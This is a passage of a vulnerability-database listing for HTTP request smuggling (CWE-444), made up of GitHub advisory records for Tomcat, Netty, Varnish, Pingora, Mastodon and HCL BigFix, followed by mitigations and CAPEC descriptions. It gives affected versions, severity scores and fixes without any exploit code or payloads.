      "url": "https://github.com/0x8b30cc/DSL-2680-Multiple-Vulnerabilities/blob/master/CVE-2019-19223.md"
    },
    {
      "type": "WEB",
      "url": "https://www.dlink.com/en/security-bulletin"
    },
    {
      "type": "WEB",
      "url": "https://www.ftc.gov/system/files/documents/cases/dlink_proposed_order_and_judgment_7-2-19.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F8CQ-GR3X-X7XF

Vulnerability from github – Published: 2026-04-21 15:32 – Updated: 2026-04-22 18:31
VLAI
Details

HCL BigFix Service Management is susceptible to HTTP Request Smuggling.  HTTP request smuggling vulnerabilities arise when websites route HTTP requests through web servers with inconsistent HTTP parsing. HTTP Smuggling exploits inconsistencies in request parsing between front-end and back-end servers, allowing attackers to bypass security controls and perform attacks like cache poisoning or request hijacking.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-31958"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-21T15:16:35Z",
    "severity": "LOW"
  },
  "details": "HCL BigFix Service Management is susceptible to HTTP Request Smuggling.\u00a0 HTTP request smuggling vulnerabilities arise when websites route HTTP requests through web servers with inconsistent HTTP parsing. HTTP Smuggling exploits inconsistencies in request parsing between front-end and back-end servers, allowing attackers to bypass security controls and perform attacks like cache poisoning or request hijacking.",
  "id": "GHSA-f8cq-gr3x-x7xf",
  "modified": "2026-04-22T18:31:40Z",
  "published": "2026-04-21T15:32:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31958"
    },
    {
      "type": "WEB",
      "url": "https://support.hcl-software.com/csm?id=kb_article\u0026sysparm_article=KB0124209"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F9C2-396J-6X9R

Vulnerability from github – Published: 2024-10-03 18:30 – Updated: 2024-11-25 18:33
VLAI
Details

In Mastodon 4.1.6, API endpoint rate limiting can be bypassed by setting a crafted HTTP request header.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-34535"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-03T18:15:04Z",
    "severity": "MODERATE"
  },
  "details": "In Mastodon 4.1.6, API endpoint rate limiting can be bypassed by setting a crafted HTTP request header.",
  "id": "GHSA-f9c2-396j-6x9r",
  "modified": "2024-11-25T18:33:25Z",
  "published": "2024-10-03T18:30:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mastodon/mastodon/security/advisories/GHSA-q3rg-xx5v-4mxh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34535"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mastodon/mastodon/tags"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F9V3-J2M7-4HPG

Vulnerability from github – Published: 2026-03-05 00:31 – Updated: 2026-03-05 20:54
Withdrawn 2026-03-05 VLAI
Summary
Duplicate Advisory: HTTP Request Smuggling via Premature Upgrade
Details

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-xq2h-p299-vjwv. This link is maintained to preserve external references.

Original Description

An HTTP request smuggling vulnerability (CWE-444) was found in Pingora's handling of HTTP/1.1 connection upgrades. The issue occurs when a Pingora proxy reads a request containing an Upgrade header, causing the proxy to pass through the rest of the bytes on the connection to a backend before the backend has accepted the upgrade. An attacker can thus directly forward a malicious payload after a request with an Upgrade header to that backend in a way that may be interpreted as a subsequent request header, bypassing proxy-level security controls and enabling cross-user session hijacking.

Impact

This vulnerability primarily affects standalone Pingora deployments where a Pingora proxy is exposed to external traffic. An attacker could exploit this to:

  • Bypass proxy-level ACL controls and WAF logic

  • Poison caches and upstream connections, causing subsequent requests from legitimate users to receive responses intended for smuggled requests

  • Perform cross-user attacks by hijacking sessions or smuggling requests that appear to originate from the trusted proxy IP

Cloudflare's CDN infrastructure was not affected by this vulnerability, as ingress proxies in the CDN stack maintain proper HTTP parsing boundaries and do not prematurely switch to upgraded connection forwarding mode.

Mitigation:

Pingora users should upgrade to Pingora v0.8.0 or higher

As a workaround, users may return an error on requests with the Upgrade header present in their request filter logic in order to stop processing bytes beyond the request header and disable downstream connection reuse.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "pingora-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T20:54:59Z",
    "nvd_published_at": "2026-03-05T00:15:57Z",
    "severity": "CRITICAL"
  },
  "details": "### Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-xq2h-p299-vjwv. This link is maintained to preserve external references.\n\n### Original Description\nAn HTTP request smuggling vulnerability (CWE-444) was found in Pingora\u0027s handling of HTTP/1.1 connection upgrades. The issue occurs when a Pingora proxy reads a request containing an Upgrade header, causing the proxy to pass through the rest of the bytes on the connection to a backend before the backend has accepted the upgrade. An attacker can thus directly forward a malicious payload after a request with an Upgrade header to that backend in a way that may be interpreted as a subsequent request header, bypassing proxy-level security controls and enabling cross-user session hijacking.\n\nImpact\n\nThis vulnerability primarily affects standalone Pingora deployments where a Pingora proxy is exposed to external traffic. An attacker could exploit this to:\n\n  *  Bypass proxy-level ACL controls and WAF logic\n\n\n\n\n  *  Poison caches and upstream connections, causing subsequent requests from legitimate users to receive responses intended for smuggled requests\n\n\n\n\n  *  Perform cross-user attacks by hijacking sessions or smuggling requests that appear to originate from the trusted proxy IP\n\n\n\n\nCloudflare\u0027s CDN infrastructure was not affected by this vulnerability, as ingress proxies in the CDN stack maintain proper HTTP parsing boundaries and do not prematurely switch to upgraded connection forwarding mode.\n\n\nMitigation:\n\nPingora users should upgrade to Pingora v0.8.0 or higher\n\n\nAs a workaround, users may return an error on requests with the Upgrade header present in their request filter logic in order to stop processing bytes beyond the request header and disable downstream connection reuse.",
  "id": "GHSA-f9v3-j2m7-4hpg",
  "modified": "2026-03-05T20:54:59Z",
  "published": "2026-03-05T00:31:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2833"
    },
    {
      "type": "WEB",
      "url": "https://github.com/cloudflare/pingora"
    },
    {
      "type": "WEB",
      "url": "https://rustsec.org/advisories/RUSTSEC-2026-0033.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Duplicate Advisory: HTTP Request Smuggling via Premature Upgrade",
  "withdrawn": "2026-03-05T20:54:59Z"
}

GHSA-FCCV-JMMP-QG76

Vulnerability from github – Published: 2023-11-28 18:30 – Updated: 2025-08-08 18:32
VLAI
Summary
Apache Tomcat Improper Input Validation vulnerability
Details

Improper Input Validation vulnerability in Apache Tomcat. Tomcat from 11.0.0-M1 through 11.0.0-M10, from 10.1.0-M1 through 10.1.15, from 9.0.0-M1 through 9.0.82, and from 8.5.0 through 8.5.95 did not correctly parse HTTP trailer headers. A trailer header that exceeded the header size limit could cause Tomcat to treat a single request as multiple requests leading to the possibility of request smuggling when behind a reverse proxy. Older, EOL versions may also be affected.

Users are recommended to upgrade to version 11.0.0-M11 onwards, 10.1.16 onwards, 9.0.83 onwards or 8.5.96 onwards, which fix the issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-catalina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0-M1"
            },
            {
              "fixed": "11.0.0-M11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-catalina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.1.0-M1"
            },
            {
              "fixed": "10.1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-catalina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0-M1"
            },
            {
              "fixed": "9.0.83"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat:tomcat-catalina"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.5.0"
            },
            {
              "fixed": "8.5.96"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat.embed:tomcat-embed-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "11.0.0-M1"
            },
            {
              "fixed": "11.0.0-M11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat.embed:tomcat-embed-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "10.1.0-M1"
            },
            {
              "fixed": "10.1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat.embed:tomcat-embed-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "9.0.0-M1"
            },
            {
              "fixed": "9.0.83"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.tomcat.embed:tomcat-embed-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "8.5.0"
            },
            {
              "fixed": "8.5.96"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-46589"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-11-28T23:28:54Z",
    "nvd_published_at": "2023-11-28T16:15:06Z",
    "severity": "HIGH"
  },
  "details": "Improper Input Validation vulnerability in Apache Tomcat. Tomcat from 11.0.0-M1 through 11.0.0-M10, from 10.1.0-M1 through 10.1.15, from 9.0.0-M1 through 9.0.82, and from 8.5.0 through 8.5.95 did not correctly parse HTTP trailer headers. A trailer header that exceeded the header size limit could cause Tomcat to treat a single request as multiple requests leading to the possibility of request smuggling when behind a reverse proxy. Older, EOL versions may also be affected.\n\nUsers are recommended to upgrade to version 11.0.0-M11\u00a0onwards, 10.1.16 onwards, 9.0.83 onwards or 8.5.96 onwards, which fix the issue.",
  "id": "GHSA-fccv-jmmp-qg76",
  "modified": "2025-08-08T18:32:42Z",
  "published": "2023-11-28T18:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-46589"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/6f181e1062a472bc5f0234980f66cbde42c1041b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/7a2d8818fcea0b51747a67af9510ce7977245ebd"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/aa92971e879a519384c517febc39fd04c48d4642"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/tomcat/commit/b5776d769bffeade865061bc8ecbeb2b56167b08"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/tomcat"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/0rqq6ktozqc42ro8hhxdmmdjm1k1tpxr"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/01/msg00001.html"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20231214-0009"
    },
    {
      "type": "WEB",
      "url": "https://tomcat.apache.org/security-10.html"
    },
    {
      "type": "WEB",
      "url": "https://tomcat.apache.org/security-11.html"
    },
    {
      "type": "WEB",
      "url": "https://tomcat.apache.org/security-8.html"
    },
    {
      "type": "WEB",
      "url": "https://tomcat.apache.org/security-9.html"
    },
    {
      "type": "WEB",
      "url": "https://www.openwall.com/lists/oss-security/2023/11/28/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/11/28/2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Tomcat Improper Input Validation vulnerability"
}

GHSA-FCQV-R8CV-F88H

Vulnerability from github – Published: 2022-02-08 00:00 – Updated: 2022-03-18 00:01
VLAI
Details

In Varnish Cache before 6.6.2 and 7.x before 7.0.2, Varnish Cache 6.0 LTS before 6.0.10, and and Varnish Enterprise (Cache Plus) 4.1.x before 4.1.11r6 and 6.0.x before 6.0.9r4, request smuggling can occur for HTTP/1 connections.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-23959"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-26T01:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "In Varnish Cache before 6.6.2 and 7.x before 7.0.2, Varnish Cache 6.0 LTS before 6.0.10, and and Varnish Enterprise (Cache Plus) 4.1.x before 4.1.11r6 and 6.0.x before 6.0.9r4, request smuggling can occur for HTTP/1 connections.",
  "id": "GHSA-fcqv-r8cv-f88h",
  "modified": "2022-03-18T00:01:35Z",
  "published": "2022-02-08T00:00:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23959"
    },
    {
      "type": "WEB",
      "url": "https://docs.varnish-software.com/security/VSV00008"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/02/msg00014.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UMMDMQWNAE3BTSZUHXQHVAMZC5TLHLYT"
    },
    {
      "type": "WEB",
      "url": "https://varnish-cache.org/security/VSV00008.html"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2022/dsa-5088"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FF2W-CQ2G-WV5F

Vulnerability from github – Published: 2020-02-21 18:55 – Updated: 2021-08-19 17:32
VLAI
Summary
HTTP Request Smuggling in Netty
Details

Netty 4.1.43.Final allows HTTP Request Smuggling because it mishandles Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header. This issue exists because of an incomplete fix for CVE-2019-16869.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.44"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.1.43"
            },
            {
              "fixed": "4.1.45"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-7238"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-02-20T20:54:49Z",
    "nvd_published_at": "2020-01-27T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Netty 4.1.43.Final allows HTTP Request Smuggling because it mishandles Transfer-Encoding whitespace (such as a [space]Transfer-Encoding:chunked line) and a later Content-Length header. This issue exists because of an incomplete fix for CVE-2019-16869.",
  "id": "GHSA-ff2w-cq2g-wv5f",
  "modified": "2021-08-19T17:32:40Z",
  "published": "2020-02-21T18:55:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7238"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jdordonezn/CVE-2020-72381/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/issues/9861"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/pull/9865"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-4885"
    },
    {
      "type": "WEB",
      "url": "https://netty.io/news"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TS6VX7OMXPDJIU5LRGUAHRK6MENAVJ46"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/09/msg00003.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/02/msg00018.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2020/02/msg00017.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rc8d554aad889d12b140d9fd7d2d6fc2e8716e9792f6f4e4b2cdc2d05@%3Ccommits.cassandra.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r131e572d003914843552fa45c4398b9903fb74144986e8b107c0a3a7@%3Ccommits.cassandra.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0811"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0806"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0805"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0804"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0606"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0605"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0601"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0567"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2020:0497"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "HTTP Request Smuggling in Netty"
}

Mitigation
Implementation

Use a web server that employs a strict HTTP parsing procedure, such as Apache [REF-433].

Mitigation
Implementation

Use only SSL communication.

Mitigation
Implementation

Terminate the client session after each request.

Mitigation
System Configuration

Turn all pages to non-cacheable.

CAPEC-273: HTTP Response Smuggling

An adversary manipulates and injects malicious content in the form of secret unauthorized HTTP responses, into a single HTTP response from a vulnerable or compromised back-end HTTP agent (e.g., server).

See CanPrecede relationships for possible consequences.

CAPEC-33: HTTP Request Smuggling

An adversary abuses the flexibility and discrepancies in the parsing and interpretation of HTTP Request messages using various HTTP headers, request-line and body parameters as well as message sizes (denoted by the end of message signaled by a given HTTP header) by different intermediary HTTP agents (e.g., load balancer, reverse proxy, web caching proxies, application firewalls, etc.) to secretly send unauthorized and malicious HTTP requests to a back-end HTTP agent (e.g., web server).

See CanPrecede relationships for possible consequences.